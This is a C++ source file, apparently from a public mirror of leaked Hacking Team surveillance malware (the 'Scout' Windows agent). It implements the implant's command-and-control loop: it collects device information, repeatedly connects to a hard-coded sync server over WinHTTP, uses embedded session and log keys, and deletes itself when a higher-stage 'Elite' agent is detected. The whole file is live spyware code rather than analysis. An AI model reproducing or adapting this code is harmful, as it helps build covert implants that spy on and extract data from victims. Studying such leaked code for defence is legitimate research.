hackedteam/scout-win

View on GitHub
core-scout-win32/sync_thread.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>

#include "main.h"
#include "sync_thread.h"
#include "binpatched_vars.h"
#include "agent_device.h"
#include "log_files.h"
#include "win_http.h"
#include "md5.h"
#include "proto.h"
#include "crypt.h"
#include "api.h"
//#include "ComHTTP.h"

typedef NTSTATUS (WINAPI *ZWTERMINATEPROCESS)(HANDLE, ULONG);

extern BYTE pServerKey[32];
extern BYTE pConfKey[32];
extern BYTE pSessionKey[20];
extern BYTE pLogKey[32];
extern BOOL bLastSync;

BOOL bFirstShot = TRUE;


VOID SyncThreadFunction()
{
    ULONG pServerPort;
    BYTE pServerIp[32];

    //call the CoInitializeEx here instead of calling it in the main funcion (it returned an error)
    if(CoInitializeEx(0, COINIT_MULTITHREADED) == S_OK)
        CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE,NULL);

    //get info about the system
    GetDeviceInfo();

    while(1)
    {
        if (ExistsEliteSharedMemory())
        {
            DeleteAndDie(TRUE);
            break;
        }
#ifdef _DEBUG
        OutputDebugString(L"[*] Starting sync...\n");
#endif

        if (WinHTTPSetup((PBYTE)SYNC_SERVER, pServerIp, sizeof(pServerIp), &pServerPort))
        {
            bLastSync = SyncWithServer();

#ifdef _DEBUG
            if (!bLastSync)
                OutputDebugString(L"[!!] Sync FAILED\n");
#endif
        }
        else
        {
#ifdef _DEBUG
            OutputDebugString(L"WinHTTPSetup FAIL\n");
#endif
            bLastSync = FALSE;
        }

        WinHTTPClose();
        
        if (bLastSync)
            MySleep(WAIT_SUCCESS_SYNC);
        else
            MySleep(WAIT_FAIL_SYNC);
    }
}